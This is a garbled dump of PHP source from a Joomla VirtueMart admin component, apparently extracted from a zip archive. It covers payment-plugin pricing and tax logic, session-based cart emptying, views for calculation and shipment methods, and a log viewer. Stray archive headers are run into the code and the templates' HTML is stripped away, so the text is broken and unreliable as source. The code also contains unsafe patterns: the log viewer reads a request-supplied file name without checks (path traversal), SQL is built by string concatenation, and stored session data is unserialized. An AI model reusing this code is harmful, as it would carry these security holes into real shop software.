`#__virtuemart_vendors` WHERE `virtuemart_vendor_id`=' . $vendorId; $db->setQuery ($q); $method->payment_currency = $db->loadResult (); } } function getEmailCurrency (&$method) { if (!isset($method->email_currency) or $method->email_currency=='vendor') { // if (!class_exists('VirtueMartModelVendor')) require(JPATH_VM_ADMINISTRATOR . DS . 'models' . DS . 'vendor.php'); $vendorId = 1; //VirtueMartModelVendor::getLoggedVendor(); $db = JFactory::getDBO (); $q = 'SELECT `vendor_currency` FROM `#__virtuemart_vendors` WHERE `virtuemart_vendor_id`=' . $vendorId; $db->setQuery ($q); return $db->loadResult (); } else { return $method->payment_currency; // either the vendor currency, either same currency as payment } } /** * displayTaxRule * * @param int $tax_id * @return string $html: */ function displayTaxRule ($tax_id) { $html = ''; $db = JFactory::getDBO (); if (!empty($tax_id)) { $q = 'SELECT * FROM #__virtuemart_calcs WHERE `virtuemart_calc_id`="' . $tax_id . '" '; $db->setQuery ($q); $taxrule = $db->loadObject (); $html = $taxrule->calc_name . '(' . $taxrule->calc_kind . ':' . $taxrule->calc_value_mathop . $taxrule->calc_value . ')'; } return $html; } function getCosts (VirtueMartCart $cart, $method, $cart_prices) { if (preg_match ('/%$/', $method->cost_percent_total)) { $method->cost_percent_total = substr ($method->cost_percent_total, 0, -1); } else { $method->cost_percent_total = $method->cost_percent_total; } $cartPrice = !empty($cart_prices['withTax'])? $cart_prices['withTax']:$cart_prices['salesPrice']; return ($method->cost_per_transaction + ($cartPrice * $method->cost_percent_total * 0.01)); } /** * Get the cart amount for checking conditions if the payment conditions are fullfilled * @param $cart_prices * @return mixed */ function getCartAmount($cart_prices){ if(empty($cart_prices['salesPrice'])) $cart_prices['salesPrice'] = 0.0; $cartPrice = !empty($cart_prices['withTax'])? $cart_prices['withTax']:$cart_prices['salesPrice']; if(empty($cart_prices['salesPriceShipment'])) $cart_prices['salesPriceShipment'] = 0.0; if(empty($cart_prices['salesPriceCoupon'])) $cart_prices['salesPriceCoupon'] = 0.0; $amount= $cartPrice + $cart_prices['salesPriceShipment'] + $cart_prices['salesPriceCoupon'] ; if ($amount <= 0) $amount=0; return $amount; } /** * update the plugin cart_prices * * @author Valérie Isaksen * * @param $cart_prices: $cart_prices['salesPricePayment'] and $cart_prices['paymentTax'] updated. Displayed in the cart. * @param $value : fee * @param $tax_id : tax id */ function setCartPrices (VirtueMartCart $cart, &$cart_prices, $method, $progressive = true) { if (!class_exists ('calculationHelper')) { require(JPATH_VM_ADMINISTRATOR . DS . 'helpers' . DS . 'calculationh.php'); } $_psType = ucfirst ($this->_psType); $calculator = calculationHelper::getInstance (); $cart_prices[$this->_psType . 'Value'] = $calculator->roundInternal ($this->getCosts ($cart, $method, $cart_prices), 'salesPrice'); if($this->_psType=='payment'){ $cartTotalAmountOrig=$this->getCartAmount($cart_prices); if(!$progressive){ //Simple $cartTotalAmount=($cartTotalAmountOrig + $method->cost_per_transaction) * (1 +($method->cost_percent_total * 0.01)); vmdebug('Simple $cartTotalAmount = ('.$cartTotalAmountOrig.' + '.$method->cost_per_transaction.') * (1 + ('.$method->cost_percent_total.' * 0.01)) = '.$cartTotalAmount ); vmdebug('Simple $cartTotalAmount = '.($cartTotalAmountOrig + $method->cost_per_transaction).' * '. (1 + $method->cost_percent_total * 0.01) .' = '.$cartTotalAmount ); } else { //progressive $cartTotalAmount = ($cartTotalAmountOrig + $method->cost_per_transaction) / (1 -($method->cost_percent_total * 0.01)); vmdebug('Progressive $cartTotalAmount = ('.$cartTotalAmountOrig.' + '.$method->cost_per_transaction.') / (1 - ('.$method->cost_percent_total.' * 0.01)) = '.$cartTotalAmount ); vmdebug('Progressive $cartTotalAmount = '.($cartTotalAmountOrig + $method->cost_per_transaction) .' / '. (1 - $method->cost_percent_total * 0.01) .' = '.$cartTotalAmount ); } $cart_prices[$this->_psType . 'Value'] = $cartTotalAmount - $cartTotalAmountOrig; } $taxrules = array(); if(isset($method->tax_id) and (int)$method->tax_id === -1){ } else if (!empty($method->tax_id)) { $cart_prices[$this->_psType . '_calc_id'] = $method->tax_id; $db = JFactory::getDBO (); $q = 'SELECT * FROM #__virtuemart_calcs WHERE `virtuemart_calc_id`="' . $method->tax_id . '" '; $db->setQuery ($q); $taxrules = $db->loadAssocList (); if(!empty($taxrules) ){ foreach($taxrules as &$rule){ if(!isset($rule['subTotal'])) $rule['subTotal'] = 0; if(!isset($rule['taxAmount'])) $rule['taxAmount'] = 0; $rule['subTotalOld'] = $rule['subTotal']; $rule['taxAmountOld'] = $rule['taxAmount']; $rule['taxAmount'] = 0; $rule['subTotal'] = $cart_prices[$this->_psType . 'Value']; } } } else { $taxrules = array_merge($calculator->_cartData['VatTax'],$calculator->_cartData['taxRulesBill']); if(!empty($taxrules) ){ $denominator = 0.0; foreach($taxrules as &$rule){ //$rule['numerator'] = $rule['calc_value']/100.0 * $rule['subTotal']; if(!isset($rule['subTotal'])) $rule['subTotal'] = 0; if(!isset($rule['taxAmount'])) $rule['taxAmount'] = 0; $denominator += ($rule['subTotal']-$rule['taxAmount']); $rule['subTotalOld'] = $rule['subTotal']; $rule['subTotal'] = 0; $rule['taxAmountOld'] = $rule['taxAmount']; $rule['taxAmount'] = 0; //$rule['subTotal'] = $cart_prices[$this->_psType . 'Value']; } if(empty($denominator)){ $denominator = 1; } foreach($taxrules as &$rule){ $frac = ($rule['subTotalOld']-$rule['taxAmountOld'])/$denominator; $rule['subTotal'] = $cart_prices[$this->_psType . 'Value'] * $frac; vmdebug('Part $denominator '.$denominator.' $frac '.$frac,$rule['subTotal']); } } } if(empty($method->cost_per_transaction)) $method->cost_per_transaction = 0.0; if(empty($method->cost_percent_total)) $method->cost_percent_total = 0.0; if (count ($taxrules) > 0 ) { $cart_prices['salesPrice' . $_psType] = $calculator->roundInternal ($calculator->executeCalculation ($taxrules, $cart_prices[$this->_psType . 'Value'],true,false), 'salesPrice'); //vmdebug('I am in '.get_class($this).' and have this rules now',$taxrules,$cart_prices[$this->_psType . 'Value'],$cart_prices['salesPrice' . $_psType]); $cart_prices[$this->_psType . 'Tax'] = $calculator->roundInternal (($cart_prices['salesPrice' . $_psType] - $cart_prices[$this->_psType . 'Value']), 'salesPrice'); reset($taxrules); $taxrule = current($taxrules); $cart_prices[$this->_psType . '_calc_id'] = $taxrule['virtuemart_calc_id']; foreach($taxrules as &$rule){ if(isset($rule['subTotalOld'])) $rule['subTotal'] += $rule['subTotalOld']; if(isset($rule['taxAmountOld'])) $rule['taxAmount'] += $rule['taxAmountOld']; } } else { $cart_prices['salesPrice' . $_psType] = $cart_prices[$this->_psType . 'Value']; $cart_prices[$this->_psType . 'Tax'] = 0; $cart_prices[$this->_psType . '_calc_id'] = 0; } return $cart_prices['salesPrice' . $_psType]; } /** * calculateSalesPrice * * @param $value * @param $tax_id: tax id * @return $salesPrice */ protected function calculateSalesPrice ($cart, $method, $cart_prices) { return $this -> setCartPrices($cart,$cart_prices,$method); } public function processConfirmedOrderPaymentResponse ($returnValue, $cart, $order, $html, $payment_name, $new_status = '') { if ($returnValue == 1) { //We delete the old stuff // send the email only if payment has been accepted // update status $modelOrder = VmModel::getModel ('orders'); $order['order_status'] = $new_status; $order['customer_notified'] = 1; $order['comments'] = ''; $modelOrder->updateStatusForOneOrder ($order['details']['BT']->virtuemart_order_id, $order, TRUE); $order['paymentName'] = $payment_name; //if(!class_exists('shopFunctionsF')) require(JPATH_VM_SITE.DS.'helpers'.DS.'shopfunctionsf.php'); //shopFunctionsF::sentOrderConfirmedEmail($order); //We delete the old stuff $cart->emptyCart (); JRequest::setVar ('html', $html); // payment echos form, but cart should not be emptied, data is valid } elseif ($returnValue == 2) { $cart->_confirmDone = FALSE; $cart->_dataValidated = FALSE; $cart->setCartIntoSession (); JRequest::setVar ('html', $html); } elseif ($returnValue == 0) { // error while processing the payment $mainframe = JFactory::getApplication (); $mainframe->enqueueMessage ($html); $mainframe->redirect (JRoute::_ ('index.php?option=com_virtuemart&view=cart',FALSE), JText::_ ('COM_VIRTUEMART_CART_ORDERDONE_DATA_NOT_VALID')); } } /** * @param $amount * @param $currencyId * @return array */ static function getAmountInCurrency($amount, $currencyId){ if (!class_exists ('CurrencyDisplay')) { require(JPATH_VM_ADMINISTRATOR . DS . 'helpers' . DS . 'currencydisplay.php'); } $return = array(); $paymentCurrency = CurrencyDisplay::getInstance($currencyId); $return['value'] = $paymentCurrency->roundForDisplay($amount,$currencyId,1.0,false,2); $return['display'] = $paymentCurrency->getFormattedCurrency($return['value']) ; return $return; } /** * @param $amount * @param $currencyId * @return array */ static function getAmountValueInCurrency($amount, $currencyId){ $return= vmPSPlugin::getAmountInCurrency($amount, $currencyId); return $return['value']; } function emptyCart ($session_id = NULL, $order_number = NULL) { if (!class_exists ('VirtueMartCart')) { require(JPATH_VM_SITE . DS . 'helpers' . DS . 'cart.php'); } $this->logInfo ('Notification: emptyCart ' . $session_id, 'message'); if ($session_id != NULL and $order_number != NULL) { // Recover session from the storage session in wich the payment is done $this->emptyCartFromStorageSession ($session_id, $order_number); } else { $cart = VirtueMartCart::getCart (); $cart->emptyCart (); } return TRUE; } /* * recovers the session from Storage, and only empty the cart if it has not been done already */ function emptyCartFromStorageSession ($session_id, $order_number) { $conf = JFactory::getConfig (); $handler = $conf->get ('session_handler', 'none'); $config['session_name'] = 'site'; $name = Japplication::getHash ($config['session_name']); $options['name'] = $name; $sessionStorage = JSessionStorage::getInstance ($handler, $options); // The session store MUST be registered. $sessionStorage->register (); // reads directly the session from the storage $sessionStored = $sessionStorage->read ($session_id); if (empty($sessionStored)) { return; } $sessionStorageDecoded = self::session_decode ($sessionStored); $vm_namespace = '__vm'; $cart_name = 'vmcart'; if (array_key_exists ($vm_namespace, $sessionStorageDecoded)) { // vm session is there $vm_sessionStorage = $sessionStorageDecoded[$vm_namespace]; if (array_key_exists ($cart_name, $vm_sessionStorage)) { // vm cart session is there $sessionStorageCart = unserialize ($vm_sessionStorage[$cart_name]); // only empty the cart if the order number is still there. If not there, it means that the cart has already been emptied. if ($sessionStorageCart->order_number == $order_number) { if (!class_exists ('VirtueMartCart')) { require(JPATH_VM_SITE . DS . 'helpers' . DS . 'cart.php'); } VirtueMartCart::emptyCartValues ($sessionStorageCart); $sessionStorageDecoded[$vm_namespace][$cart_name] = serialize ($sessionStorageCart); $sessionStorageEncoded = self::session_encode ($sessionStorageDecoded); $sessionStorage->write ($session_id, $sessionStorageEncoded); } } } } private static function session_decode ($session_data) { $decoded_session = array(); $offset = 0; while ($offset < strlen ($session_data)) { if (!strstr (substr ($session_data, $offset), "|")) { return array(); } $pos = strpos ($session_data, "|", $offset); $num = $pos - $offset; $varname = substr ($session_data, $offset, $num); $offset += $num + 1; $data = unserialize (substr ($session_data, $offset)); $decoded_session[$varname] = $data; $offset += strlen (serialize ($data)); } return $decoded_session; } private static function session_encode ($session_data_array) { $encoded_session = ""; foreach ($session_data_array as $key => $session_data) { $encoded_session .= $key . "|" . serialize ($session_data); } return $encoded_session; } /** * get_passkey * Retrieve the payment method-specific encryption key * * @author Oscar van Eijk * @author Valerie Isaksen * @return mixed * @deprecated */ function get_passkey () { return TRUE; $_db = JFactory::getDBO (); $_q = 'SELECT ' . VM_DECRYPT_FUNCTION . "(secret_key, '" . ENCODE_KEY . "') as passkey " . 'FROM #__virtuemart_paymentmethods ' . "WHERE virtuemart_paymentmethod_id='" . (int)$this->_virtuemart_paymentmethod_id . "'"; $_db->setQuery ($_q); $_r = $_db->loadAssoc (); // TODO Error check return $_r['passkey']; } /** * validateVendor * Check if this plugin has methods for the current vendor. * * @author Oscar van Eijk * @param integer $_vendorId The vendor ID taken from the cart. * @return True when a id was found for this vendor, false otherwise * * @deprecated ???? */ protected function validateVendor ($_vendorId) { if (!$_vendorId) { $_vendorId = 1; } $_db = JFactory::getDBO (); if (JVM_VERSION === 1) { $_q = 'SELECT 1 ' . 'FROM #__virtuemart_' . $this->_psType . 'methods v ' . ', #__plugins j ' . 'WHERE j.`element` = "' . $this->_name . '" ' . 'AND v.`' . $this->_psType . '_jplugin_id` = j.`id` ' . 'AND v.`virtuemart_vendor_id` = "' . $_vendorId . '" ' . 'AND v.`published` = 1 '; } else { $_q = 'SELECT 1 ' . 'FROM #__virtuemart_' . $this->_psType . 'methods AS v ' . ', #__extensions AS j ' . 'WHERE j.`folder` = "' . $this->_type . '" ' . 'AND j.`element` = "' . $this->_name . '" ' . 'AND v.`' . $this->_psType . '_jplugin_id` = j.`extension_id` ' . 'AND v.`virtuemart_vendor_id` = "' . $_vendorId . '" ' . 'AND v.`published` = 1 '; } $_db->setQuery ($_q); $_r = $_db->loadAssoc (); if ($_r) { return TRUE; } else { return FALSE; } } /** * @param integer $virtuemart_order_id the id of the order */ function handlePaymentUserCancel ($virtuemart_order_id) { if ($virtuemart_order_id) { // set the order to cancel , to handle the stock correctly if (!class_exists ('VirtueMartModelOrders')) { require(JPATH_VM_ADMINISTRATOR . DS . 'models' . DS . 'orders.php'); } $modelOrder = VmModel::getModel ('orders'); $order['order_status'] = 'X'; $order['virtuemart_order_id'] = $virtuemart_order_id; $order['customer_notified'] = 0; $order['comments'] = JText::_ ('COM_VIRTUEMART_PAYMENT_CANCELLED_BY_SHOPPER'); $modelOrder->updateStatusForOneOrder ($virtuemart_order_id, $order, TRUE); //$modelOrder->remove (array('virtuemart_order_id' => $virtuemart_order_id)); } } /** * logInfo * to help debugging Payment notification for example * Keep it for compatibilty */ protected function logInfo ($text, $type = 'message', $doLog=false) { if (!class_exists( 'VmConfig' )) require(JPATH_COMPONENT_ADMINISTRATOR.DS.'helpers'.DS.'config.php'); VmConfig::loadConfig(); if ((isset($this->_debug) and $this->_debug) OR $doLog) { $oldLogFileName= VmConfig::$logFileName; VmConfig::$logFileName =$this->getLogFileName() ; logInfo($text, $type); VmConfig::$logFileName =$oldLogFileName; } } /** * */ function getLogFileName() { $name=$this->_idName; $methodId=0; if (isset ($this->_currentMethod) ) { $methodId=$this->_currentMethod->$name; } return $this->_name. '.'.$methodId ; } /** * log all messages of type ERROR * log in case the debug option is on, and the log option is on * @param string $message the message to write * @param string $title * @param string $type message, deb-ug, info, error * @param boolean $doDebug in payment notification, we don't want to use vmdebug even if the debug option is on * */ public function debugLog($message, $title='', $type = 'message', $doDebug=true) { if ( isset($this->_currentMethod) and isset($this->_currentMethod->debug) and $this->_currentMethod->debug AND $doDebug) { //vmdebug($title, $message); } if ( isset($this->_currentMethod) and !$this->_currentMethod->log and $type !='error') { //Do not log message messages if we are not in LOG mode return; } if ( $type == 'error') { $this->sendEmailToVendorAndAdmins(); } $this->logInfo($title.': '.print_r($message,true), $type, true); } } PKB\Oplugins/vmcalculationplugin.phpnuW+A_tablepkey = 'virtuemart_calc_id'; $this->_tablename = '#__virtuemart_calc_plg_'. $this->_name; } protected function getPluginInternalDataCalc(&$calcData){ $datas = $this->getPluginInternalData($calcData->virtuemart_calc_id,'virtuemart_calc_id'); if($datas){ $attribsCalc = get_object_vars($datas); unset($attribsCalc['virtuemart_calc_id']); foreach($attribsCalc as $k=>$v){ $calcData->$k = $v; } } } }PKB\plugins/vmcurrencyplugin.phpnuW+AassignRef('perms', $perms); //@todo should be depended by loggedVendor $vendorId=1; $this->assignRef('vendorId', $vendorId); $db = JFactory::getDBO(); $this->SetViewTitle(); $layoutName = JRequest::getWord('layout', 'default'); if ($layoutName == 'edit') { $calc = $model->getCalc(); $this->assignRef('calc', $calc); $isNew = ($calc->virtuemart_calc_id < 1); if ($isNew) { $db = JFactory::getDBO(); //get default currency of the vendor, if not set get default of the shop $q = 'SELECT `vendor_currency` FROM `#__virtuemart_vendors` WHERE `virtuemart_vendor_id` = "'.$vendorId.'"'; $db->setQuery($q); $currency= $db->loadResult(); if(empty($currency)){ $q = 'SELECT `vendor_currency` FROM `#__virtuemart_vendors` WHERE `virtuemart_vendor_id` = "1" '; $db->setQuery($q); $currency= $db->loadResult(); $calc->calc_currency = $currency; } else { $calc->calc_currency = $currency; } } $entryPointsList = self::renderEntryPointsList($calc->calc_kind); $this->assignRef('entryPointsList',$entryPointsList); $mathOpList = self::renderMathOpList($calc->calc_value_mathop); $this->assignRef('mathOpList',$mathOpList); /* Get the category tree */ $categoryTree= null; if (isset($calc->calc_categories)){ $calc_categories = $calc->calc_categories; $categoryTree = ShopFunctions::categoryListTree($calc_categories); }else{ $categoryTree = ShopFunctions::categoryListTree(); } $this->assignRef('categoryTree', $categoryTree); $currencyModel = VmModel::getModel('currency'); $_currencies = $currencyModel->getCurrencies(); $this->assignRef('currencies', $_currencies); /* Get the shoppergroup tree */ $shopperGroupList= ShopFunctions::renderShopperGroupList($calc->virtuemart_shoppergroup_ids,True); $this->assignRef('shopperGroupList', $shopperGroupList); $countriesList = ShopFunctions::renderCountryList($calc->calc_countries,True); $this->assignRef('countriesList', $countriesList); $statesList = ShopFunctions::renderStateList($calc->virtuemart_state_ids,'', True); $this->assignRef('statesList', $statesList); $manufacturerList= ShopFunctions::renderManufacturerList($calc->virtuemart_manufacturers,true); $this->assignRef('manufacturerList', $manufacturerList); if(Vmconfig::get('multix','none')!=='none'){ $vendorList= ShopFunctions::renderVendorList($calc->virtuemart_vendor_id,false); $this->assignRef('vendorList', $vendorList); } $this->addStandardEditViewCommands(); } else { if((Vmconfig::get('multix','none')!='none') && $this->perms->check( 'admin' )){ JToolBarHelper::custom('toggle.shared.1', 'publish', 'yes', JText::_('COM_VIRTUEMART_SHARED_TOGGLE_ON'), true); JToolBarHelper::custom('toggle.shared.0', 'unpublish', 'no', JText::_('COM_VIRTUEMART_SHARED_TOGGLE_OFF'), true); } $this->addStandardDefaultViewCommands(); $this->addStandardDefaultViewLists($model); $search = JRequest::getWord('search', false); $calcs = $model->getCalcs(false, false, $search); $this->assignRef('calcs', $calcs); $pagination = $model->getPagination(); $this->assignRef('pagination', $pagination); } parent::display($tpl); } /** * Builds a list to choose the Entrypoints * When you want to add extra Entrypoints, look in helpers/calculationh.php for mor information * * * @copyright Copyright (c) 2009 VirtueMart Team. All rights reserved. * @author Max Milbers * @param $selected the selected values, may be single data or array * @return $list list of the Entrypoints */ function renderEntryPointsList($selected){ //MathOp array $entryPoints = array( '0' => array('calc_kind' => 'Marge', 'calc_kind_name' => JText::_('COM_VIRTUEMART_CALC_EPOINT_PMARGIN')), '1' => array('calc_kind' => 'DBTax', 'calc_kind_name' => JText::_('COM_VIRTUEMART_CALC_EPOINT_DBTAX')), '2' => array('calc_kind' => 'Tax', 'calc_kind_name' => JText::_('COM_VIRTUEMART_CALC_EPOINT_TAX')), '3' => array('calc_kind' => 'VatTax', 'calc_kind_name' => JText::_('COM_VIRTUEMART_CALC_EPOINT_VATTAX')), '4' => array('calc_kind' => 'DATax', 'calc_kind_name' => JText::_('COM_VIRTUEMART_CALC_EPOINT_DATAX')), '5' => array('calc_kind' => 'DBTaxBill', 'calc_kind_name' => JText::_('COM_VIRTUEMART_CALC_EPOINT_DBTAXBILL')), '6' => array('calc_kind' => 'TaxBill', 'calc_kind_name' => JText::_('COM_VIRTUEMART_CALC_EPOINT_TAXBILL')), '7' => array('calc_kind' => 'DATaxBill', 'calc_kind_name' => JText::_('COM_VIRTUEMART_CALC_EPOINT_DATAXBILL')), ); $listHTML = JHTML::_('Select.genericlist', $entryPoints, 'calc_kind', '', 'calc_kind', 'calc_kind_name', $selected ); return $listHTML; } /** * Builds a list to choose the mathematical operations * When you want to add extra operations, look in helpers/calculationh.php for more information * * @copyright Copyright (c) 2009 VirtueMart Team. All rights reserved. * @author Max Milbers * @param $selected the selected values, may be single data or array * @return $list list of the Entrypoints */ function renderMathOpList($selected){ //MathOp array $mathOps = array( '0' => array('calc_value_mathop' => '+', 'calc_value_mathop_name' => '+'), '1' => array('calc_value_mathop' => '-', 'calc_value_mathop_name' => '-'), '2' => array('calc_value_mathop' => '+%', 'calc_value_mathop_name' => '+%'), '3' => array('calc_value_mathop' => '-%', 'calc_value_mathop_name' => '-%') ); if (!class_exists('vmCalculationPlugin')) require(JPATH_VM_PLUGINS . DS . 'vmcalculationplugin.php'); JPluginHelper::importPlugin('vmcalculation'); $dispatcher = JDispatcher::getInstance(); $answer = $dispatcher->trigger('plgVmAddMathOp', array(&$mathOps)); $listHTML = JHTML::_('Select.genericlist', $mathOps, 'calc_value_mathop', '', 'calc_value_mathop', 'calc_value_mathop_name', $selected ); return $listHTML; } } // pure php no closing tagPKB\)views/calc/.htaccessnuW+A Order allow,deny Deny from all PKB\_.VVviews/calc/tmpl/edit_calc.phpnuW+Atrigger('plgVmOnDisplayEdit', array('vmcalculation' , $html)); // print_r( $returnValues ); // vmdebug('pluginstuff',$returnValues); ?>
calc->calc_name); ?> calc->published); ?> perms->check('admin') ){ echo VmHTML::row('checkbox','COM_VIRTUEMART_SHARED', 'shared', $this->calc->shared ); } ?> calc->ordering,'class="inputbox"','',4,4); ?> calc->calc_descr,'class="inputbox"','',70,255); ?> entryPointsList ); ?> mathOpList ); ?> calc->calc_value); ?> currencies ,$this->calc->calc_currency,'','virtuemart_currency_id', 'currency_name',false) ; ?> shopperGroupList ); ?> countriesList ); ?> statesList ); ?> manufacturerList ); /* Mod. St.Kraft 2013-02-24 Herstellerrabatt */ ?> calc->calc_shopper_published); ?> calc->calc_vendor_published); ?> calc->publish_up, 'publish_up') ); ?> calc->publish_down, 'publish_down') ); ?>
trigger('plgVmOnDisplayEdit', array(&$this->calc,&$html)); echo $html; if(Vmconfig::get('multix','none')!=='none' and $this->perms->check('admin') ){ echo VmHTML::row('raw','COM_VIRTUEMART_VENDOR', $this->vendorList ); } ?>
addStandardHiddenToForm(); ?>
PKB\J..views/calc/tmpl/default.phpnuW+A

perms->check( 'admin' )){ ?> */ ?> */ ?> perms->check( 'admin' )){ ?> */ ?> calcs ); $i < $n; $i++) { $row = $this->calcs[$i]; $checked = JHTML::_('grid.id', $i, $row->virtuemart_calc_id); $published = JHTML::_('grid.published', $row, $i); $shared = $this->toggle($row->shared, $i, 'toggle.shared'); $editlink = JROUTE::_('index.php?option=com_virtuemart&view=calc&task=edit&cid[]=' . $row->virtuemart_calc_id); ?> "> perms->check( 'admin' )){ ?> calc_shopper_published ? 'tick.png' : 'publish_x.png')); ?> */ ?> calc_amount_cond; ?> */ ?>
sort('calc_name', 'COM_VIRTUEMART_NAME') ; ?> sort('calc_descr' , 'COM_VIRTUEMART_DESCRIPTION'); ?> sort('ordering') ; ?> sort('calc_kind') ; ?> sort('calc_value' , 'COM_VIRTUEMART_VALUE'); ?> sort('calc_currency' , 'COM_VIRTUEMART_CURRENCY'); ?> St.Kraft 2013-02-24 ?> sort('publish_up' , 'COM_VIRTUEMART_START_DATE'); ?> sort('publish_down' , 'COM_VIRTUEMART_END_DATE'); ?> sort('virtuemart_calc_id', 'COM_VIRTUEMART_ID') ?>
calc_name; ?> virtuemart_vendor_id; ?> calc_descr; ?> ordering; ?> calc_kind; ?> calc_value_mathop; ?> calc_value; ?> currencyName; ?> calcCategoriesList; ?> calcManufacturersList; /* Mod. St.Kraft 2013-02-24 Herstellerrabatt */ ?> calcShoppersList; ?> calc_vendor_published ? 'tick.png' : 'publish_x.png')); ?> publish_up, 'LC4',true); ?> publish_down, 'LC4',true); ?> calc_amount_dimunit); ?> calcCountriesList); ?> calcStatesList); ?> virtuemart_calc_id; ?>
pagination->getListFooter(); ?>
addStandardHiddenToForm(); ?>
PKB\)views/calc/tmpl/.htaccessnuW+A Order allow,deny Deny from all PKB\iviews/calc/tmpl/edit.phpnuW+A Order allow,deny Deny from all PKB\:؆views/log/tmpl/edit.phpnuW+A
	
    fileContentByLine as $line) echo "
  1. ".str_replace(array("
    ","
    "),"",$line)."
  2. "; ?>
    
    PKB\views/log/tmpl/index.htmlnuW+APKB\)views/log/tmpl/.htaccessnuW+A
    Order allow,deny
    Deny from all
    PKB\Ci		views/log/tmpl/default.phpnuW+A
    		logFiles) {
    			foreach ($this->logFiles as $logFile ) {
    				$addLink=false;
    				$fileSize = filesize($this->path.DS.$logFile);
    				$fileInfo= $finfo?$finfo->file($this->path.DS.$logFile):0;
    				$fileInfoMime=substr($fileInfo, 0 ,strlen("text/plain"));
    				if (!$finfo or strcmp("text/plain", $fileInfoMime)==0) {
    					$addLink=true;
    				}
    				?>
    				
    0 and $addLink) { ?> 0) { ?>
    addStandardHiddenToForm(); AdminUIHelper::endAdminArea(); ?> PKB\IBviews/log/view.html.phpnuW+Aget('log_path', JPATH_ROOT . "/log"); $layoutName = JRequest::getWord('layout', 'default'); VmConfig::loadJLang('com_virtuemart_log'); if ($layoutName == 'edit') { $logFile = JRequest::getString('logfile', ''); $this->SetViewTitle('LOG', $logFile); $fileContent = file_get_contents($log_path . DS . $logFile); $fileContentByLine = explode("\n", $fileContent); $this->assignRef('fileContentByLine', $fileContentByLine); JToolBarHelper::cancel(); } else { $logFiles = JFolder::files($log_path, $filter = '.', true, false, array('index.html')); $this->SetViewTitle('LOG'); $this->assignRef('logFiles', $logFiles); $this->assignRef('path', $log_path); } parent::display($tpl); } } //No Closing Tag PKB\views/log/index.htmlnuW+APKB\$views/shipmentmethod/tmpl/index.htmlnuW+APKB\X'views/shipmentmethod/tmpl/edit_edit.phpnuW+A langList; ?>
    shipment->shipment_name); ?> shipment->slug); ?> shipment->published); ?> shipment->shipment_desc); ?> pluginList); ?> shopperGroupList); ?> shipment->ordering, 'class="inputbox"', '', 4, 4); ?> vendorList); } ?>
    PKB\<%)views/shipmentmethod/tmpl/edit_config.phpnuW+Ashipment->shipment_name) { $parameters = new vmParameters($this->shipment, $this->shipment->shipment_element, 'plugin', 'vmshipment'); echo $rendered = $parameters->render(); } else { echo JText::_('COM_VIRTUEMART_SELECT_SHIPPING_METHOD'); } /* */ PKB\F/ kw w %views/shipmentmethod/tmpl/default.phpnuW+A
    shipments ); $i < $n; $i++) { $row = $this->shipments[$i]; $published = JHTML::_('grid.published', $row, $i ); /** * @todo Add to database layout published column */ $row->published = 1; $checked = JHTML::_('grid.id', $i, $row->virtuemart_shipmentmethod_id); $editlink = JROUTE::_('index.php?option=com_virtuemart&view=shipmentmethod&task=edit&cid[]=' . $row->virtuemart_shipmentmethod_id); ?>
    sort('shipment_name', 'COM_VIRTUEMART_SHIPMENT_NAME_LBL'); ?> sort('shipment_element', 'COM_VIRTUEMART_SHIPMENTMETHOD'); ?> sort('ordering', 'COM_VIRTUEMART_LIST_ORDER'); ?> sort('published', 'COM_VIRTUEMART_PUBLISHED'); ?> sort('virtuemart_shipmentmethod_id', 'COM_VIRTUEMART_ID') ?>
    shipment_name)); ?> shipment_desc; ?> shipmentShoppersList; ?> shipment_element; //JHTML::_('link', $editlink, JText::_($row->shipment_element)); ?> ordering); ?> virtuemart_shipmentmethod_id; ?>
    pagination->getListFooter(); ?>
    addStandardHiddenToForm(); ?>
    PKB\"views/shipmentmethod/tmpl/edit.phpnuW+A
    shipment->virtuemart_shipmentmethod_id ); // Loading Templates in Tabs END ?> addStandardHiddenToForm(); ?>
    PKB\)#views/shipmentmethod/tmpl/.htaccessnuW+A Order allow,deny Deny from all PKB\)views/shipmentmethod/.htaccessnuW+A Order allow,deny Deny from all PKB\fUߙ"views/shipmentmethod/view.html.phpnuW+AaddHelperPath(JPATH_VM_ADMINISTRATOR.DS.'helpers'); if(!class_exists('Permissions')) require(JPATH_VM_ADMINISTRATOR.DS.'helpers'.DS.'permissions.php'); if(!class_exists('vmPSPlugin')) require(JPATH_VM_PLUGINS.DS.'vmpsplugin.php'); if (!class_exists('VmHTML')) require(JPATH_VM_ADMINISTRATOR . DS . 'helpers' . DS . 'html.php'); $model = VmModel::getModel(); $layoutName = JRequest::getWord('layout', 'default'); $this->SetViewTitle(); $layoutName = JRequest::getWord('layout', 'default'); if ($layoutName == 'edit') { $shipment = $model->getShipment(); if (!class_exists('VmImage')) require(JPATH_VM_ADMINISTRATOR . DS . 'helpers' . DS . 'image.php'); if (!class_exists('vmParameters')) require(JPATH_VM_ADMINISTRATOR . DS . 'helpers' . DS . 'parameterparser.php'); if(!class_exists('VirtueMartModelVendor')) require(JPATH_VM_ADMINISTRATOR.DS.'models'.DS.'vendor.php'); $vendor_id = 1; $currency=VirtueMartModelVendor::getVendorCurrency ($vendor_id); $this->assignRef('vendor_currency', $currency->currency_symbol); if(Vmconfig::get('multix','none')!=='none'){ $vendorList= ShopFunctions::renderVendorList($shipment->virtuemart_vendor_id); $this->assignRef('vendorList', $vendorList); } $this->assignRef('pluginList', self::renderInstalledShipmentPlugins($shipment->shipment_jplugin_id)); $this->assignRef('shipment', $shipment); $this->assignRef('shopperGroupList', ShopFunctions::renderShopperGroupList($shipment->virtuemart_shoppergroup_ids,true)); $this->addStandardEditViewCommands($shipment->virtuemart_shipmentmethod_id); } else { JToolBarHelper::custom('cloneshipment', 'copy', 'copy', JText::_('COM_VIRTUEMART_SHIPMENT_CLONE'), true); $this->addStandardDefaultViewCommands(); $this->addStandardDefaultViewLists($model); $shipments = $model->getShipments(); $this->assignRef('shipments', $shipments); $pagination = $model->getPagination(); $this->assignRef('pagination', $pagination); } parent::display($tpl); } function renderInstalledShipmentPlugins($selected) { $db = JFactory::getDBO(); if (JVM_VERSION===1) { $table = '#__plugins'; $enable = 'published'; $ext_id = 'id'; } else { $table = '#__extensions'; $enable = 'enabled'; $ext_id = 'extension_id'; } $q = 'SELECT * FROM `'.$table.'` WHERE `folder` = "vmshipment" AND `state`="0" ORDER BY `ordering`,`name` ASC'; $db->setQuery($q); $result = $db->loadAssocList($ext_id); if(empty($result)){ $app = JFactory::getApplication(); $app -> enqueueMessage(JText::_('COM_VIRTUEMART_NO_SHIPMENT_PLUGINS_INSTALLED')); } foreach ($result as &$sh) { $sh['name'] = JText::_($sh['name']); } $attribs='style= "width: 300px;"'; return 